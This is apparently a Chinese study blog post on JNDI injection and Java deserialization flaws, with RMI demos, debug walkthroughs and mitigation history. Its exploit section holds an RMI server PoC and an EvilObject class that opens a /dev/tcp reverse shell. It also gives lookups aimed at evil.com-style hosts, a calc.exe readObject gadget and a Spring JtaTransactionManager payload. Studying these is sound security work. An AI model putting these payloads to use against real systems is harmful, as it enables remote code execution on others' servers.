浅谈JNDI注入与java反序列化漏洞

前言

在打TCTF/0CTF的看各种paper的时候,总是提到JNDI注入,下面是我的学习笔记,如有误,欢迎师傅们斧正。

JNDI是啥?

JNDI - Java Naming and Directory Interface 名为 Java命名和目录接口,具体是干嘛的,师傅们自行百度谷歌吧。简单来说就是 JNDI 提供了一组通用的接口可供应用很方便地去访问不同的后端服务,例如 LDAP、RMI、CORBA 等。换句话说,JNDI就是一个简单的Java API(如“InitialContext.Lookup(String Name)”),它只接受一个字符串参数,如果该参数来自不可信的源的话,则可能因为远程类加载而引发远程代码执行攻击。具体如下图:
image.png
image.png

小小小Demo

来自:JNDI 注入简单解析
首先一个对象方法要想被远程应用所调用需要其 extends 于 java.rmi.Remote 接口,并需要抛出 RemoteException 异常,而远程对象必须实现 java.rmi.server.UniCastRemoteObject 类。首先创建一个 IHello 的接口(IHello.java):

1
2
3
4
5
6
7
8
# IHello.java
package com.company;

import java.rmi.Remote;

public interface IHello extends Remote {
public String sayHello(String name) throws Exception;
}

再创建 IHelloImpl 类实现 java.rmi.server.UniCastRemoteObject 类并包含 IHello 接口(IHelloImpl.java):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# IHelloImpl.java
package com.company;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}
public String sayHello(String name) throws Exception {
return "Hello " + name + " ^_^ ";
}
}

最后用 RMI 绑定实例对象方法,并使用 JNDI 去获取并调用对象方法(CallService.java):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# CallService.java
package com.company;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
public static void main(String[] args) throws Exception{

//JNDI初始化
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://localhost:1099");
Context ctx = new InitialContext(env);

Registry registry = LocateRegistry.createRegistry(1099);
IHello hello = new IHelloImpl();
registry.bind("hello", hello);

IHello rHello = (IHello) ctx.lookup("hello");
System.out.println(rHello.sayHello("Decade"));
}
}

image.png

image.png

JNDI协议动态转换

在开始谈JNDI注入之前,先谈一谈为什么会引起JNDI注入。
上面的Demo里面,在初始化就预先指定了其上下文环境(RMI),但是在调用 lookup() 或者 search() 时,可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URI 格式去转换(该变)上下文环境,使之访问 LDAP 服务上的绑定对象:

1
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

下面来利用debug跟踪这个转换。
image.png

image.png

image.png

image.png

可以看到代码会对 paramName 参数值进行一个 URL 解析,如果 paramName 包含一个特定的 Schema 协议,代码则会使用相应的工厂去初始化上下文环境,这时候不管之前配置的工厂环境是什么,这里都会被动态地对其进行替换。

Tips:JNDI查找远程对象时InitialContext.lookup(URL)的参数URL可以覆盖一些上下文中的属性,比如:Context.PROVIDER_URL。

  • rmi://attacker-server/bar
  • ldap://attacker-server/cn=bar,dc=test,dc=org
  • iiop://attacker-server/bar

    Jndi Naming Reference

    java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,当被调用的时候,对象的方法就会被触发。理解了协议动态转换和jndi reference后,就可以理解jndi注入产生的原因了。

如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
Reference 中几个比较关键的属性:

  • className - 远程加载时所使用的类名
  • classFactory - 加载的 class 中需要实例化类的名称
  • classFactoryLocation - 提供 classes 数据的地址可以是 file/ftp/http 等协议
    例如这里定义一个 Reference 实例,并使用继承了 UnicastRemoteObject 类的 ReferenceWrapper 包裹一下实例对象,使其能够通过 RMI 进行远程访问:
    1
    2
    3
    Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/"); 
    ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
    registry.bind("refObj", refObjWrapper);

当有客户端通过 lookup(“refObj”) 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/refClassName.class 动态加载 classes 并调用 insClassName 的构造函数。在构造函数里面实现你的exp。

image.png

lookup 函数

1
2
3
4
5
6
7
8
9
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIClientTest {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1097/Object";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
1
2
3
4
lookup:114, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:7, JNDIClientTest

关键代码,var2为通过ReferenceWrapper_Stub获取到的包装类,这里的 var2 是 com.sun.jndi.rmi.registry.ReferenceWrapper_Stub 类型的,最后调用decodeObject

image.png

跟进decodeObject,调用var1的getReference函数获取wrappee属性值,也就是将 stub 还原成了 Reference

image.png

继续跟进getObjectInstance

image.png

image.png

image.png

因为newInstance必然只会调用无参构造方法,所以该class需要有定义一个无参的构造方法或者是根本无构造方法(在无任何构造方法的情况下会隐式生成一个无参构造方法), 如果没有无参构造方法newInstance就直接出错了

JNDI注入

结合前面说到的三个点:

  • JNDI 调用中 lookup() 参数可控
  • 使用带协议的 URI 可以进行动态环境转换
  • Reference 类动态代码获取进行实例化

image.png

过程阐述:
1、攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj;

2、原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/;

3、应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj 想绑定的
ReferenceWrapper 对象(Reference(“EvilObject”, “EvilObject”, “http://evil-cb.com/"));

4、应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class;

5、攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;

6、应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;

简单的漏洞利用场景(很老版本才有的场景)

有漏洞的代码片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import javax.naming.Context;

import javax.naming.InitialContext;

public class CLIENT {

public static void main(String[] args) throws Exception {

String uri = "rmi://xxxxx:1099/aa";

Context ctx = new InitialContext();

ctx.lookup(uri);

}

}

服务器放置poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.company;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.xml.crypto.dsig.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String args[]) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecObj","ExecObj","http://ip/");
ReferenceWrapper refObjWarpper = new ReferenceWrapper(aa);
registry.bind("aa",refObjWarpper);
}
}

真正的exp

1
2
3
4
5
6
7
8
9
10
11
import java.lang.Runtime;
import java.lang.Process;

public class EvilObject {
public EvilObject() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", "/bin/sh -i > /dev/tcp/ip/port 2>&1 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
}
}

在Java 8U191更新中,Oracle公司对RMI、LDAP向量施加了相同的限制,并公布了CVE-2018-3149,从此,JNDI远程类加载的大门就被关闭了。
这里因为出现了trustURLCodebase,已经不再能够从codebase中下载字节码,但是可以loadClass目标classpath下存在的类。如果能在一些常用的库中找到有getObjectInstance方法,并且在该方法可操控执行恶意代码,可以避免加载远程恶意类文件。
image.png

image.png

参考国外大牛的绕过:Exploiting JNDI Injections in Java
先知有翻译:Exploiting JNDI Injections in Java的翻译

反序列化漏洞

fashjson项目:fastjson—alibaba
fastjson学习:fastJosn使用总结

一个简单的反序列化例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.company;

import java.io.*;
import java.util.*;
public class Main {

public static void main(String[] args) throws Exception {
MyObject myObj = new MyObject();
myObj.name = "hi";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
MyObject objectFromDisk = (MyObject) ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
class MyObject implements Serializable {
public String name;

//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("calc.exe");
}
}

image.png

我们注意到 MyObject 类实现了Serializable接口,并且重写了readObject()函数。这里需要注意:只有实现了Serializable接口的类的对象才可以被序列化,Serializable 接口是启用其序列化功能的接口,实现 java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。这里的 readObject() 执行了Runtime.getRuntime().exec(“calc.exe”),而 readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject() 是可以重写的,可以定制反序列化的一些行为。

Spring框架的反序列化漏洞

image.png

image.png

image.png

image.png
payload如下

1
2
3
4
5
6
7
8
9
10
11
12
String jndiAddress = "rmi://"+ip+":1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);

FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将object对象写入object文件
os.writeObject(object);

Socket socket=new Socket(serverAddress,port);
objectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);

参考

https://xz.aliyun.com/t/3787
https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/
https://www.anquanke.com/post/id/87031
https://blog.sari3l.com/posts/469de5e6/
https://blog.csdn.net/u011721501/article/details/52316225

-------------本文结束感谢您的阅读-------------